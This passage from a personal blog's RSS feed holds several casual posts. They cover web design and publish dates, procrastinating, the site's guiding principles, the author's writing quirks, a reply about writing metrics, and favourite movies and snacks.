&lt;p&gt;&lt;b&gt;K&lt;/b&gt;eep &lt;b&gt;I&lt;/b&gt;t &lt;b&gt;S&lt;/b&gt;imple &lt;b&gt;S&lt;/b&gt;tupid (KISS). It applies in a lot of contexts, and &lt;em&gt;definitely&lt;/em&gt; applies to web design - &lt;em&gt;especially&lt;/em&gt; for “content” pages (i.e. actual blog posts). Maybe this is &lt;em&gt;too&lt;/em&gt;-opinionated, but I &lt;em&gt;really&lt;/em&gt; don’t like when I see a blog post, especially a short post, that is followed by a gigantic footer filled with blinky 88x31 buttons, pleas to subscribe, comments, links to other posts on the site, endless dynamically loading content, etc… There’s a place for that stuff - on their own distinct pages, or on the home page, or just some place &lt;em&gt;else&lt;/em&gt;. I just don’t like seeing each and every page on a site filled with the same junky footer cruft. Show some love to your post’s actual content, give it a &lt;em&gt;KISS&lt;/em&gt;! &amp;lt;/rant&amp;gt;&lt;/p&gt;

&lt;h1 id=&quot;dates&quot;&gt;Dates &lt;span style=&quot;font-size:.7em; color:var(--light-font-color);&quot;&gt;(e.g. Published: Mar 12, 2025)&lt;/span&gt;&lt;/h1&gt;

&lt;p&gt;For the love of god, put &lt;strong&gt;publish dates&lt;/strong&gt; (&lt;em&gt;and preferably also updated dates&lt;/em&gt;) on your posts. This isn’t really a &lt;em&gt;design&lt;/em&gt; recommendation, but I think you could say it’s a good UX &lt;u&gt;requirement&lt;/u&gt;. Why can so many sites not figure out how to do this?&lt;/p&gt;

&lt;h1 id=&quot;artwork&quot;&gt;Artwork &lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/surfshark.png&quot; style=&quot;display:inline; height:1.5em;&quot; /&gt;&lt;/h1&gt;

&lt;p&gt;Make some art, put it on your site. You don’t need to go overboard, but there’s a lot of your individuality that you can express through &lt;strong&gt;custom artwork&lt;/strong&gt;. It doesn’t necessarily have to be something &lt;em&gt;you’ve made&lt;/em&gt; either, you could have it commissioned for example. I have examples of &lt;a href=&quot;https://shellsharks.com/devlog/build-then-smile#the-artwork&quot;&gt;artwork&lt;/a&gt; made by me, friends, and by others I’ve found on the Internet. &lt;mark&gt;What you need to &lt;u&gt;&lt;b&gt;100% avoid doing&lt;/b&gt;&lt;/u&gt; however, is using AI-generated slop art.&lt;/mark&gt; It’s lazy, looks terrible and says something, not complimentary, about your site. A crudely drawn stick figure, or just &lt;em&gt;nothing&lt;/em&gt; is better received than something AI generated.&lt;/p&gt;
</description>
        <pubDate>Wed, 12 Mar 2025 13:28:00 -0400</pubDate>
        <link>https://shellsharks.com/good-sitekeeping</link>
        <guid isPermaLink="true">https://shellsharks.com/good-sitekeeping</guid>
        
        <category>technology</category>
        
        <category>webdesign</category>
        
        <category>blogging</category>
        
        <category>indieweb</category>
        
        <category>whimsy</category>
        
        <category>bestof</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>This Post is Me Procrastinating</title>
        <shark:summary><p>I am <strong>procrastinating</strong>. <em>Like</em>, right now I’m doing it. I’ve got a <em>ton</em> of other more important things to work on - at home, at my job, even for my site. I gotta do taxes for example, *<em>blegh</em>*! <em>But</em>, I kinda don’t have the energy, or don’t <em>feel like it</em>, or just saw something else shiny to work on instead (e.g. this post). I am <em>great</em> at procrastinating. World-class even. This site makes for a fantastic vehicle by which I can <em>constructively</em> procrastinate. Because you see, it’s not like I’m sittin’ around doin’ <u>nothing</u>. I’m creating! I’m working on my site. Yeah, I’m procrastinating, <em>sure</em>. But what comes out of it all is something I’m proud of. So it’s completely justified right? I’m sure you’re nodding your head right now in agreement, and I appreciate that.</p>
</shark:summary>
        <description>&lt;p&gt;I am &lt;strong&gt;procrastinating&lt;/strong&gt;. &lt;em&gt;Like&lt;/em&gt;, right now I’m doing it. I’ve got a &lt;em&gt;ton&lt;/em&gt; of other more important things to work on - at home, at my job, even for my site. I gotta do taxes for example, *&lt;em&gt;blegh&lt;/em&gt;*! &lt;em&gt;But&lt;/em&gt;, I kinda don’t have the energy, or don’t &lt;em&gt;feel like it&lt;/em&gt;, or just saw something else shiny to work on instead (e.g. this post). I am &lt;em&gt;great&lt;/em&gt; at procrastinating. World-class even. This site makes for a fantastic vehicle by which I can &lt;em&gt;constructively&lt;/em&gt; procrastinate. Because you see, it’s not like I’m sittin’ around doin’ &lt;u&gt;nothing&lt;/u&gt;. I’m creating! I’m working on my site. Yeah, I’m procrastinating, &lt;em&gt;sure&lt;/em&gt;. But what comes out of it all is something I’m proud of. So it’s completely justified right? I’m sure you’re nodding your head right now in agreement, and I appreciate that.&lt;/p&gt;

&lt;p&gt;&lt;i class=&quot;ph ph-music-note-simple&quot;&gt;&lt;/i&gt; &lt;em&gt;Hum-dee-dum-dee-dooooo&lt;/em&gt; &lt;i class=&quot;ph ph-music-note-simple&quot;&gt;&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;* &lt;em&gt;spins around in swivelly chair&lt;/em&gt; *&lt;/p&gt;

&lt;p&gt;What else can I yap about here instead of just publishing this and moving on to my &lt;em&gt;actual&lt;/em&gt; to-do list? &lt;em&gt;Hrmmm&lt;/em&gt;…&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I’m kinda hungry&lt;/em&gt;. Let me do a web search for “eating procrastinating”. &lt;em&gt;Oh look at that&lt;/em&gt;! I just learned about the term “&lt;a href=&quot;https://www.today.com/health/procrastineating-how-fix-snack-habit-thats-hurting-you-1d80331013&quot;&gt;procrastineating&lt;/a&gt;”. This is &lt;u&gt;perfect&lt;/u&gt; for me right now.&lt;/p&gt;

&lt;p&gt;* &lt;em&gt;stomach audibly grumbles&lt;/em&gt; *&lt;/p&gt;

&lt;p&gt;&lt;em&gt;OK, I’ma go&lt;/em&gt; - make myself a li’l snacky-snack. When I get back down to my office I’m &lt;u&gt;totally&lt;/u&gt; goin’ to get right into the stuff I need to do. 😉&lt;/p&gt;
</description>
        <pubDate>Fri, 07 Mar 2025 10:38:00 -0500</pubDate>
        <link>https://shellsharks.com/i-am-procrastinating</link>
        <guid isPermaLink="true">https://shellsharks.com/i-am-procrastinating</guid>
        
        <category>life</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Guiding Principles</title>
        <shark:summary><p>Documented below are the <strong>guiding principles</strong> by which I approach how I work on, and write for <span class="shellsharks-com">shellsharks</span>. These tenets are foundational across my site and are core to who I am as a <a href="https://shellsharks.com/humans.txt">human</a>.</p>
</shark:summary>
        <description>&lt;p&gt;Documented below are the &lt;strong&gt;guiding principles&lt;/strong&gt; by which I approach how I work on, and write for &lt;span class=&quot;shellsharks-com&quot;&gt;shellsharks&lt;/span&gt;. These tenets are foundational across my site and are core to who I am as a &lt;a href=&quot;https://shellsharks.com/humans.txt&quot;&gt;human&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;My site is meant to be &lt;strong&gt;fun&lt;/strong&gt;—for me, and for whomever comes here.&lt;/li&gt;
  &lt;li&gt;So I purposefully imbue this site with an unapologetic &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/good-sitekeeping#whimsy&quot;&gt;whimsy&lt;/a&gt;&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;It’s a place to be &lt;strong&gt;uniquely me&lt;/strong&gt;—my &lt;a href=&quot;https://shellsharks.com/style&quot;&gt;aesthetic&lt;/a&gt;, my writing &lt;a href=&quot;https://shellsharks.com/writing-mannerisms&quot;&gt;style&lt;/a&gt;, my &lt;a href=&quot;https://shellsharks.com/devlog/build-then-smile#the-artwork&quot;&gt;art&lt;/a&gt;, my topics.&lt;/li&gt;
  &lt;li&gt;I don’t box myself in &lt;strong&gt;creatively&lt;/strong&gt;. I am free to write across all genres. It’s been &lt;u&gt;Infosec&lt;/u&gt;, &lt;u&gt;Technology&lt;/u&gt;, and &lt;u&gt;Life&lt;/u&gt;-in-general from the beginning.&lt;/li&gt;
  &lt;li&gt;It is a place for me to &lt;strong&gt;learn&lt;/strong&gt;, to &lt;strong&gt;teach&lt;/strong&gt;, to “pay it forward”.&lt;/li&gt;
  &lt;li&gt;I write with a &lt;strong&gt;beginners mindset&lt;/strong&gt;. I want what I write to be a &lt;strong&gt;reference for myself&lt;/strong&gt; and available to be consumed by all.&lt;/li&gt;
  &lt;li&gt;Every page is a living document, I always reserve the right to &lt;strong&gt;change my mind&lt;/strong&gt;, or add new content.&lt;/li&gt;
  &lt;li&gt;It is a way for me to &lt;strong&gt;connect&lt;/strong&gt;—to be a part of, and build &lt;strong&gt;community&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;Shellsharks is a central, canonical &lt;a href=&quot;https://shellsharks.com/verify&quot;&gt;point of presence&lt;/a&gt; for myself on the web. &lt;b&gt;I &lt;i&gt;am&lt;/i&gt; &lt;span class=&quot;shellsharks-com&quot;&gt;shellsharks&lt;/span&gt;&lt;/b&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks to &lt;a href=&quot;https://tracydurnell.com/2025/01/21/guiding-principles-for-my-website/&quot;&gt;Tracy&lt;/a&gt; and &lt;a href=&quot;https://jamesg.blog/2025/03/05/philosophy-of-james-coffee-blog&quot;&gt;James&lt;/a&gt; for inspiring this write-up.&lt;/p&gt;

&lt;p&gt;This is a &lt;a href=&quot;https://www.miriamsuzanne.com/2024/07/02/slash-why/&quot;&gt;/why&lt;/a&gt; page.&lt;/p&gt;
</description>
        <pubDate>Thu, 06 Mar 2025 08:56:00 -0500</pubDate>
        <link>https://shellsharks.com/why</link>
        <guid isPermaLink="true">https://shellsharks.com/why</guid>
        
        <category>life</category>
        
        <category>blogging</category>
        
        <category>shellsharks</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
        <category>slashpage</category>
        
      </item>
    
      <item>
        <title>Writing Mannerisms</title>
        <shark:summary><p>I enjoy writing, it’s why I have this blog. But my style is <em>far from perfect</em> in the technical sense. I’m <em>very</em> aware of the many interesting and possibly unique writing quirks and habits I have. <em>So</em>, here I reflect on and catalog those distinct <strong>writing mannerisms</strong>.</p>
</shark:summary>
        <description>&lt;p&gt;I enjoy writing, it’s why I have this blog. But my style is &lt;em&gt;far from perfect&lt;/em&gt; in the technical sense. I’m &lt;em&gt;very&lt;/em&gt; aware of the many interesting and possibly unique writing quirks and habits I have. &lt;em&gt;So&lt;/em&gt;, here I reflect on and catalog those distinct &lt;strong&gt;writing mannerisms&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;I think my most prevalent (bad) habit is &lt;strong&gt;run-on sentences&lt;/strong&gt;, they are everywhere! I consider my style of writing to be very &lt;em&gt;conversational&lt;/em&gt; in its cadence, and in this way it tends to mirror my speech in many respects, and I’ve been known to be a bit of a &lt;em&gt;looooong&lt;/em&gt;-talker.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;em&gt;Alright&lt;/em&gt;, I’ve mentioned that my writing is very &lt;em&gt;conversational&lt;/em&gt;. In this vein, I use a lot of &lt;strong&gt;linguistic affects&lt;/strong&gt; like “&lt;em&gt;ok&lt;/em&gt;”, “&lt;em&gt;right&lt;/em&gt;”, “&lt;em&gt;alright&lt;/em&gt;”, “&lt;em&gt;so&lt;/em&gt;”, etc… I tend to use these at the beginning of sentences.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I like to use &lt;strong&gt;hyphens&lt;/strong&gt; (“ &lt;strong&gt;-&lt;/strong&gt; “) to bridge two sentences together - joining separate, but related ideas or thoughts together in a way that a standard period doesn’t seem suited for and where a comma just wouldn’t supply the correct tempo to.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I &lt;em&gt;really&lt;/em&gt; use a lot of &lt;strong&gt;font styles&lt;/strong&gt;, e.g. &lt;em&gt;italicizing&lt;/em&gt;, &lt;u&gt;underlining&lt;/u&gt; and &lt;strong&gt;bolding&lt;/strong&gt;. I’d describe my methodology for employing these styles as very &lt;u&gt;vibes-based&lt;/u&gt;, with no real strict convention. This said, &lt;em&gt;italics&lt;/em&gt; are generally reserved as a way for me to emphasize words as I would do if I was actually &lt;em&gt;speaking&lt;/em&gt; them in conversation. &lt;strong&gt;Bolded&lt;/strong&gt; terms are meant to &lt;strong&gt;highlight&lt;/strong&gt; the main point or topic of a paragraph / section. More recently, I’ve also started &lt;u&gt;underlining&lt;/u&gt; things and don’t really have a specific usecase for when I typically deploy it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/hyperlink-travel&quot;&gt;love links&lt;/a&gt;&lt;/strong&gt;. I spend &lt;a href=&quot;https://shellsharks.com/blogging-methodology#editing--enrichment&quot;&gt;a lot of time&lt;/a&gt; linking out to things locally within a page (to a section anchor for example), internally to my site as well as externally across the web. These links are typically &lt;em&gt;inline&lt;/em&gt;, rather than explicit URLs or list(s) of references.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;My life is very list-driven, the way I think is often very list-based, and so it follows that my writing features &lt;em&gt;a lot&lt;/em&gt; of &lt;strong&gt;lists&lt;/strong&gt;. This blog post is &lt;em&gt;essentially&lt;/em&gt; one big list!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I do a lot of &lt;strong&gt;parenthetical asides&lt;/strong&gt;. For whatever reason, I very-frequently (&lt;em&gt;and am literally going to do it right here&lt;/em&gt;) inject my own commentary and bonus context smack-dab in the middle of my sentences. When doing so, I tend to italicize the aside 🤷‍♂️.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;This one really bugs me - I have the annoying habit of using “&lt;strong&gt;it’s&lt;/strong&gt;” when I just need to say “&lt;strong&gt;its&lt;/strong&gt;”. This site has seen it since it’s inception…&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I’m too often unsure of whether I should use the word “&lt;strong&gt;their&lt;/strong&gt;” or “&lt;strong&gt;there&lt;/strong&gt;”. (But don’t worry, I’m &lt;em&gt;good&lt;/em&gt; on when to use “&lt;strong&gt;they’re&lt;/strong&gt;” 😄). There’s (⬅️ &lt;em&gt;this one right?&lt;/em&gt;) gotta be a way to easily remember which to use…&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I use a lot of &lt;strong&gt;e.g.&lt;/strong&gt;’s and &lt;strong&gt;i.e.&lt;/strong&gt;’s (&lt;em&gt;I’m sure incorrectly in many cases&lt;/em&gt;) and though I’ve looked up their meanings many-a-time (e.g. &lt;a href=&quot;https://www.grammarly.com/blog/acronyms-abbreviations/i-e-vs-e-g/&quot;&gt;literally as I write this&lt;/a&gt;) I always seem to forget the distinction shortly after (i.e. I often can’t remember even after &lt;em&gt;just&lt;/em&gt; reading the definitions of the two terms). &lt;em&gt;So&lt;/em&gt;, for current and future me, &lt;strong&gt;e.g.&lt;/strong&gt; stands for “exempli gratia” &lt;em&gt;or&lt;/em&gt; “for example” and &lt;strong&gt;i.e.&lt;/strong&gt; stands for “id est” which means “in other words”. &lt;em&gt;SMUSH IT INTO YOUR BRAIN~!!&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;HTML supports &lt;em&gt;6&lt;/em&gt; &lt;strong&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/Heading_Elements&quot;&gt;Section Heading&lt;/a&gt;&lt;/strong&gt; elements, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h1&lt;/code&gt; through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h6&lt;/code&gt;. I’m somewhat inconsistent in how I deploy them in my posts, it’s all very &lt;em&gt;vibes-ey&lt;/em&gt;. I’d say most of the time I stick with a standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h1&lt;/code&gt; for main sections across the site, but sometimes I’ll just start with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h2&lt;/code&gt; instead, with no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h1&lt;/code&gt; as a parent section at all. Best I can explain is that sometimes I feel a post might not “deserve” a section capitalized by the largest header? I suspect this particular quirk is often seen across my short-form &lt;a href=&quot;https://shellsharks.com/notebook&quot;&gt;notes&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I’m super inconsistent about grammatically sticking to &lt;strong&gt;first-person&lt;/strong&gt; or &lt;strong&gt;second-person&lt;/strong&gt;. You’ll notice this quite often I’m sure.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Rather than just ending a paragraph or section gracefully with a period, I’ll often just end it with a nice set of &lt;strong&gt;ellipsis&lt;/strong&gt;. Usually this denotes that the next section, paragraph, list, image, or whatever is directly related to what I was &lt;em&gt;just&lt;/em&gt; talking about. Like with many of my writing peculiarties, I’m sure it’s not being used correctly…&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Though I think I’ve started to improve on this, my blog posts (and &lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing&quot;&gt;other content&lt;/a&gt;) has never employed a large amount of &lt;strong&gt;pictures&lt;/strong&gt; or &lt;strong&gt;graphics&lt;/strong&gt;. The reason for this is simple - there’s quite a bit of overhead to add images to posts within my static site generator &lt;a href=&quot;https://shellsharks.com/blogging-from-ipad#workflow&quot;&gt;workflow&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Mirrorin’ my own in-speech linguistic tendencies once more, I do a lot of “&lt;strong&gt;G-dropping&lt;/strong&gt;”, i.e. when a the ‘g’ is dropped in words that end in ‘-ing’. So in other words, I do a lot of &lt;em&gt;G-droppin’&lt;/em&gt;. (You’ll notice here that I almost always add that li’l apostrophe when I do a &lt;em&gt;G-drop&lt;/em&gt;.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Emojis&lt;/strong&gt;. Another &lt;em&gt;more recent&lt;/em&gt; addition to my writing flare, I like to add a bit of evocation to my prose 😎.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Text walls&lt;/strong&gt; / monolithic paragraphs are a staple of &lt;span class=&quot;shellsharks-com&quot;&gt;shellsharks.com&lt;/span&gt;. Honestly, I’ll admit that I really don’t know when to break paragraphs up sometimes. I apologize to your eyeballs.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I’ll repeat, I &lt;em&gt;love&lt;/em&gt; writing and really enjoy &lt;a href=&quot;https://shellsharks.com/notes/2025/01/28/tinkering-with-the-site-again&quot;&gt;tinkering&lt;/a&gt; around on this site. I’m passionate about this stuff, so I tend to get real excited and do a lot of &lt;strong&gt;exclamation points&lt;/strong&gt;!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;In reading this, or any of my other posts, would you say the tone is “&lt;em&gt;conversational&lt;/em&gt;”? I try to use a lot of &lt;strong&gt;questions&lt;/strong&gt; like these in my writing to help make it so.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s it for now! A lot of these call-outs are &lt;em&gt;stylistic&lt;/em&gt; choices, while others are admittedly just bad habits or writing deficiencies that over time I’d like to eradicate. Thanks for sticking with me through all of ‘em!&lt;/p&gt;
</description>
        <pubDate>Wed, 05 Mar 2025 23:14:00 -0500</pubDate>
        <link>https://shellsharks.com/writing-mannerisms</link>
        <guid isPermaLink="true">https://shellsharks.com/writing-mannerisms</guid>
        
        <category>life</category>
        
        <category>blogging</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Metrics That Matter</title>
        <shark:summary><p><a href="https://www.joanwestenberg.com/author/joan/">Joan Westenberg</a> recently published a (relatively short) post titled “<a href="https://www.joanwestenberg.com/the-only-metrics-that-matter/">The Only Metrics That Matter</a>” where she calls out a number of <u>toxic</u> metrics that a lot of sites and site-owners obsess over, i.e. page views, time-on-site, bounce rates, etc.. She (expertly, as usual) calls out that these are the focus because of the ad-supported business model that the modern web survives on, and that that system is not one she cares to participate in with her own site and writing. Can’t disagree with any of what she’s said so far. But she loses me <em>a bit</em> with the next bit. She goes on to say that…</p>
</shark:summary>
        <description>&lt;p&gt;&lt;a href=&quot;https://www.joanwestenberg.com/author/joan/&quot;&gt;Joan Westenberg&lt;/a&gt; recently published a (relatively short) post titled “&lt;a href=&quot;https://www.joanwestenberg.com/the-only-metrics-that-matter/&quot;&gt;The Only Metrics That Matter&lt;/a&gt;” where she calls out a number of &lt;u&gt;toxic&lt;/u&gt; metrics that a lot of sites and site-owners obsess over, i.e. page views, time-on-site, bounce rates, etc.. She (expertly, as usual) calls out that these are the focus because of the ad-supported business model that the modern web survives on, and that that system is not one she cares to participate in with her own site and writing. Can’t disagree with any of what she’s said so far. But she loses me &lt;em&gt;a bit&lt;/em&gt; with the next bit. She goes on to say that…&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I have two metrics that matter: newsletter subscribers and paid supporters. That’s it. To the exclusion of literally everything else.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Her job, the way she makes a living is writing. So I understand that for her, subscribers and &lt;em&gt;actual&lt;/em&gt; paid supporters is pretty key to her maintaining a livelihood. But there’s something a little hollow there to me personally. It’s hard to quantify in metric-speak, but in saying what she has, she seems to entirely discount the geniune feedback she might receive, or the ways in which her writing may have a profound impact on her readership. To me, &lt;em&gt;that should matter&lt;/em&gt; as a metric of sorts as well. I’m not suggesting that she use that feedback loop to influence her writing per say, I think she should continue to follow the compass she already has as I think it has proven time again fruitful in illuminating very important things.&lt;/p&gt;

&lt;p&gt;I too write for myself, and don’t capture &lt;em&gt;any&lt;/em&gt; metrics whatsoever. But I’ll admit, my situation is different. I don’t write to survive so I can afford to not care about metrics or subscribers or &lt;em&gt;anything&lt;/em&gt;. But I do &lt;em&gt;care&lt;/em&gt;, and take to heart the ways in which things I have put out in the world have had any small amount of impact on those who have been &lt;a href=&quot;https://shellsharks.com/kindness&quot;&gt;kind enough&lt;/a&gt; to read and send me feedback. My writing, what I do on my site, will always be free from analytic-influence, corporate control, ad-revenue, traffic-chasing or anything else.&lt;/p&gt;

&lt;p&gt;To caveat all this: My &lt;em&gt;disagreement&lt;/em&gt; (if you want to call it that) is admittedly nuanced, and she &lt;em&gt;does&lt;/em&gt; very explicitly say that she writes “for people”. So maybe I’m reading too far into something that’s not really there. I think Joan is &lt;em&gt;great&lt;/em&gt;, and 100% deserves &lt;u&gt;at least&lt;/u&gt; your attention, if not your direct &lt;a href=&quot;https://www.joanwestenberg.com/#/portal/&quot;&gt;support&lt;/a&gt;, as her writing is truly amazing and something I really aspire to. So I say this to Joan - my only &lt;em&gt;advice&lt;/em&gt;, for whatever it might be worth, is that you (and all writers) strive to value the meaningful impact their voice has on people’s perspectives, understanding and emotions. It’s a &lt;strong&gt;metric that matters&lt;/strong&gt;.&lt;/p&gt;
</description>
        <pubDate>Wed, 05 Mar 2025 09:44:00 -0500</pubDate>
        <link>https://shellsharks.com/metrics-that-matter</link>
        <guid isPermaLink="true">https://shellsharks.com/metrics-that-matter</guid>
        
        <category>technology</category>
        
        <category>blogging</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Blog Questions Challenge: Movies</title>
        <shark:summary><p>Taking on the <a href="https://beep.town/@blog_challenge">Blog Questions Challenge Bot</a>’s challenge about <strong><a href="https://beep.town/@blog_challenge/114099263407801474">Movies</a></strong>, which asks these <em>four</em> questions…</p>
</shark:summary>
        <description>&lt;p&gt;Taking on the &lt;a href=&quot;https://beep.town/@blog_challenge&quot;&gt;Blog Questions Challenge Bot&lt;/a&gt;’s challenge about &lt;strong&gt;&lt;a href=&quot;https://beep.town/@blog_challenge/114099263407801474&quot;&gt;Movies&lt;/a&gt;&lt;/strong&gt;, which asks these &lt;em&gt;four&lt;/em&gt; questions…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#whats-a-movie-you-can-practically-quote-from-start-to-finish&quot;&gt;What’s a movie you can practically quote from start to finish?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#if-you-could-live-in-any-movie-universe-which-would-you-choose&quot;&gt;If you could live in any movie universe, which would you choose?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#whats-the-most-ridiculous-movie-plot-youve-ever-seen&quot;&gt;What’s the most ridiculous movie plot you’ve ever seen?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#what-movie-snack-is-an-absolute-must-have-for-you&quot;&gt;What movie snack is an absolute must-have for you?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr class=&quot;fin&quot; /&gt;

&lt;h1 id=&quot;whats-a-movie-you-can-practically-quote-from-start-to-finish&quot;&gt;What’s a movie you can practically quote from start to finish?&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Gladiator&lt;/strong&gt;. I’ve seen this movie countless times, and have been watching it nigh continuously for decades. Look, it’s my &lt;a href=&quot;https://shellsharks.com/notes/2024/05/05/favorite-movies&quot;&gt;favorite movie&lt;/a&gt;, so yeah I might be biased, but Gladiator has an endless pool of quotable scenes, it’s just crazy…&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;My name is Maximus Decimus Meridius, commander of the Armies of the North, General of the Felix Legions and loyal servant to the TRUE emperor, Marcus Aurelius. Father to a murdered son, husband to a murdered wife. And I will have my vengeance, in this life or the next.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Hold the line! Stay with me! If you find yourself alone, riding in the green fields with the sun on your face, do not be troubled. For you are in Elysium, and you’re already dead! &lt;a href=&quot;https://shellsharks.com/notes/2022/11/17/gladiator&quot;&gt;&lt;i class=&quot;ph ph-mastodon-logo&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;At my signal, unleash hell.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;I search the faces of the gods… for ways to please you, to make you proud. One kind word, one full hug… where you pressed me to your chest and held me tight. Would have been like the sun on my heart for a thousand years. What is it in me that you hate so much?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Marcus Aurelius is dead, Maximus. We mortals are but shadows and dust. Shadows and dust, Maximus!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;It vexes me. I’m terribly vexed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Are you not entertained? Are you not entertained? Is this not why you are here?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;if-you-could-live-in-any-movie-universe-which-would-you-choose&quot;&gt;If you could live in any movie universe, which would you choose?&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Harry Potter&lt;/strong&gt;, but only if I can actually be a Wizard / non-muggle. Sure, there’s some bad stuff that goes on, y’know, in the whole &lt;em&gt;he-who-must-not-be-named&lt;/em&gt; department, but otherwise it &lt;em&gt;literally&lt;/em&gt; seems pretty magical to be in that universe (again, as a Wizard of course). Apparating, morphing (transfiguring) into various animals, crafting potions and generally casting a wide variety of charms and enchantments seems super fun right? I think if I had to choose a specialization, I’d go with &lt;a href=&quot;https://harrypotter.fandom.com/wiki/Hogwarts_subjects#Charms&quot;&gt;Charms&lt;/a&gt;, as that seems like the classic spell-casting class that isn’t specifically dedicated to “combat” in the way “Defense Against the Dark Arts” is. Though I do love me a good &lt;a href=&quot;https://nwn.fandom.com/wiki/Magic_missile&quot;&gt;magic missile&lt;/a&gt;…&lt;/p&gt;

&lt;p&gt;Alas, I don’t live in the Harry Potter universe, (or I do and am just a muggle) but at least I have &lt;a href=&quot;https://shellsharks.com/notes/2023/11/05/security-is-magic&quot;&gt;cybersecurity&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;whats-the-most-ridiculous-movie-plot-youve-ever-seen&quot;&gt;What’s the most ridiculous movie plot you’ve ever seen?&lt;/h1&gt;

&lt;p&gt;I might have to come back to this one later after I have time to really sit and think through the movies I’ve seen to pick out the one that &lt;em&gt;really&lt;/em&gt; has the wildest plot… but for now I’ll just share what came to my mind &lt;em&gt;first&lt;/em&gt;…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.imdb.com/title/tt0288477/&quot;&gt;Ghost Ship&lt;/a&gt;&lt;/strong&gt;. It’s not entirely ridiculous, at least in my opinion, but it does have a pretty wild scene (if you’ve seen it, you know what I’m talking about), and the rest of the movie is just kinda ridiculous in its own ways.&lt;/p&gt;

&lt;p&gt;Who knows, I’ll probably come amend this in a few days after I have a chance to really think about it…&lt;/p&gt;

&lt;h1 id=&quot;what-movie-snack-is-an-absolute-must-have-for-you&quot;&gt;What movie snack is an absolute must-have for you?&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Twizzlers&lt;/strong&gt; are my go-to movie snack. A close second would be Sour Punch Straws, with good ol’ fashioned, heavily-buttered, popcorn taking the third spot.&lt;/p&gt;
</description>
        <pubDate>Wed, 05 Mar 2025 01:34:00 -0500</pubDate>
        <link>https://shellsharks.com/movies-questions-challenge</link>
